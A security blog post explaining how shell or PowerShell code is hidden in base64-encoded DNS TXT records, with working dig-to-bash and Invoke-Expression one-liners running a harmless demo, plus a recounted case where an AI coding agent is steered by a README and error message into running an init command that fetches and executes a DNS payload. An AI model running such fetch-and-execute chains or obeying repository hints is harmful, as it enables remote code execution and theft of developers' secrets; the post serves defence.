Code Hidden in DNS: When an AI Agent Opens the Door

Posted on Updated on by MilanCategories:Blog, AI, hacky, nástroje, Promptpunk, Techniky hackerů

Injecting malicious instructions into AI agents is a fairly new discipline. But many of the techniques used for it are not new at all.

One of them is hiding code in DNS records. More specifically, in TXT records, which are meant for storing text data. TXT records are commonly used to prove that you control a domain, or to configure SPF, DKIM and DMARC for email. Technically, though, they can contain almost any text.

And if a DNS record can contain ordinary text, it can also contain a command.

For example, a command that gets executed in a shell after being loaded. In a harmless demo, it can print a message, create a file or display ASCII art. In a malicious version, it can open remote access to your machine.

The important detail is this: the malicious code does not have to be stored in the repository at all. A static code scanner, a commit review or a quick human review may not see it, because the repository only contains a script that “loads configuration from DNS”. The actual payload appears only when the DNS record is read and its content is executed.

Demo

You can try this technique without using any malicious payload.

The following example does not download anything, does not connect anywhere and only creates a file called ds.txt with a simple ASCII cat:

 /_/
( o.o )
 > ^ <
DNS TXT says meow.

The point is not what the script does. The point is that the code is not stored in a file on disk, but in a DNS TXT record.

Linux and macOS

For Linux and macOS, the DNS TXT record can look like this:

txt-demo-sh.digitalnisebeobrana.cz TXT "Y2F0ID4gZHMudHh0IDw8J0VPRicKIC9cXy9cCiggby5vICkKID4gXiA8CkROUyBUWFQgc2F5cyBtZW93LgpFT0YKY2F0IGRzLnR4dAo="

1. Show the script

This command reads the DNS TXT record, decodes it and prints the script:

dig +short TXT txt-demo-sh.digitalnisebeobrana.cz | tr -d '"' | base64 -d

Output:

cat > ds.txt <<'EOF'
 /_/
( o.o )
 > ^ <
DNS TXT says meow.
EOF
cat ds.txt

2. Run the demo

This command does the same thing, but passes the decoded content directly to bash:

dig +short TXT txt-demo-sh.digitalnisebeobrana.cz | tr -d '"' | base64 -d | bash

Result: a file called ds.txt is created in the current directory and its content is printed to the terminal.

The mechanism is simple:

DNS TXT → Base64 → decoding → bash

In this demo, it only saves a harmless cat. The same principle could also write an SSH key, download another script, exfiltrate tokens or open a reverse shell.

The problem is not DNS itself. The problem is mainly this part:

... | bash

It says: “Take text that came from the outside and run it as a program.”

Windows / PowerShell

On Windows, you can do something similar with PowerShell. The TXT record can contain a Base64-encoded PowerShell script:

txt-demo-ps.digitalnisebeobrana.cz TXT "JGFydCA9IEAnCiAvXF8vXAooIG8ubyApCiA+IF4gPApETlMgVFhUIHNheXMgbWVvdy4KJ0AKU2V0LUNvbnRlbnQgLVBhdGggLlxkcy50eHQgLVZhbHVlICRhcnQgLUVuY29kaW5nIFVURjgKR2V0LUNvbnRlbnQgLlxkcy50eHQK"

1. Show the script

This command reads the DNS TXT record, decodes it and prints the PowerShell script:

$s = ((Resolve-DnsName -Type TXT txt-demo-ps.digitalnisebeobrana.cz).Strings -join '')
[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($s))

Output:

$art = @'
 /_/
( o.o )
 > ^ <
DNS TXT says meow.
'@
Set-Content -Path .ds.txt -Value $art -Encoding UTF8
Get-Content .ds.txt

2. Run the demo

This command does the same thing, but executes the decoded content directly:

$s = ((Resolve-DnsName -Type TXT txt-demo-ps.digitalnisebeobrana.cz).Strings -join '')
iex ([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($s)))

Result: a file called ds.txt is created in the current directory and its content is printed to the terminal.

iex is short for Invoke-Expression. In other words: it takes text and runs it as PowerShell code.

The mechanism is the same as with the shell:

DNS TXT → Base64 → decoding → PowerShell

A DNS TXT record does not look dangerous by itself. Base64 is not malware by itself. PowerShell is a normal administration tool. The risk appears when all of them are chained together and external content is executed automatically.

What 0DIN Showed

Researchers from Mozilla 0DIN described an attack in which an AI agent was given a seemingly simple task: set up a downloaded repository.

The repository did not need to contain obvious malware. The README offered a normal-looking first-time setup:

pip3 install -r requirements.txt
python3 -m axiom init

At first glance, these are just two ordinary commands: install dependencies and initialize the project.

The original write-up describes the attack as having three parts. That does not mean the user or the AI agent has to manually run three separate commands. It is better understood as three connected layers:

  1. a repository that looks trustworthy,
  2. an initialization routine that looks like a normal part of the setup,
  3. a setup script that loads the actual payload from a DNS TXT record and executes it.

The command:

python3 -m axiom init

runs another setup script internally. That script queries DNS, reads a TXT record, decodes its content and passes it to the shell.

An error message such as:

Axiom not initialised. Run: python3 -m axiom init

acts more like a fallback. If the agent ignores the README and tries to use the package without initialization, the package tells it to run the same command again as a normal fix.

So there are two paths to the same result.

The agent can follow the README:

pip install → init → DNS TXT → payload execution

Or it can skip the README, hit an error and then “fix” it:

pip install → error → suggested init → DNS TXT → payload execution

In both cases, the goal is the same: get the agent to run an initialization command that looks normal, but actually opens the path to an external payload.

That is the uncomfortable part. Each individual step can look harmless. The problem appears when they are chained together.

Why This Matters for AI Agents

A human may at least pause when seeing a command like:

dig ... | base64 -d | bash

and ask: wait, why am I running something from DNS?

AI agents often work differently. They are given a goal, such as “get this project running”, and then they try to solve whatever blocks them. If something fails, they read the README, an error message, an issue or a terminal hint, and try to continue.

That is exactly their strength. And also their weakness.

The agent does not have to be “hacked” in a dramatic sense. It only has to be helpful enough. It runs the suggested command because it fits the task. And if it has access to a shell, the network and your working directory, the damage can be very practical:

  • leaking API tokens,
  • leaking SSH keys,
  • accessing private repositories,
  • reading configuration files,
  • accessing cloud credentials,
  • running additional code,
  • opening a reverse shell.

In other words: this is not only “AI security”. It is classic developer workstation security, accelerated and amplified by an AI agent.

Will Antivirus or a Firewall Stop It?

I would not rely on that.

A normal repository scan may not find anything suspicious, because the real payload is not in the repository. It is in DNS.

Antivirus may also miss it if it only sees normal tools: Python, shell, dig, PowerShell, a DNS query. And firewalls often allow DNS traffic, because ordinary internet use breaks very quickly without DNS.

That does not mean defense is impossible. Good EDR, process monitoring, blocking suspicious child processes, limiting outbound traffic or detecting suspicious chains such as base64 | bash and Invoke-Expression can help.

It is just not a good idea to rely on them as the only protection.

How to Defend Against It

The basic rule is simple: an unknown repository is unknown code. And that is still true when an AI agent opens it for you.

In practice, that means:

  • Do not blindly run setup scripts from unknown projects.
  • Do not treat an AI agent’s recommendation as a security review.
  • Be careful with constructs such as curl | bash, wget | bash, dig | bash, base64 -d | bash, bash -c "$something" or PowerShell Invoke-Expression.
  • Check not only the command being executed, but also what it loads at runtime.
  • Run unknown projects in isolation: a container, VM, throwaway user, devcontainer or sandbox.
  • Do not give AI agents unnecessarily broad permissions.
  • Do not keep production tokens, SSH keys, cloud credentials or other long-lived secrets available in the environment.
  • Limit outbound traffic from development environments where it makes sense.
  • Disable or heavily restrict automatic approval of shell commands in AI coding agents.
  • Treat README files, error messages, issues and documentation in unknown repositories as untrusted input, not as authoritative instructions.

A good control question is:

Can I actually see all the code that will run?

If a command downloads something, reads from DNS, builds code from variables, decodes Base64 or pipes data into a shell, the answer is often: no, I cannot.

At that point, it is no longer “just setup”.

It is remote code execution with the privileges of a user who often has far more sensitive things on their machine than they realize.

Summary

DNS TXTTXT records are not dangerous by themselves. Base64 is not dangerous by itself. AI agents are not dangerous by themselves either.

The problem appears when these things are combined:

trustworthy-looking project
+ helpful AI agent
+ shell with too much access
+ externally loaded payload
= problem

So it is worth repeating an old rule in a new form:

Do not copy random commands from the internet into your terminal.
And do not let your AI agent do it either.

Sources

Visual Portfolio, Posts & Image Gallery for WordPress

Corporate Training

Employee training can greatly reduce the risk of a hacker's attack on your company

Infra audit

Infrastructure audit focused on security and privacy.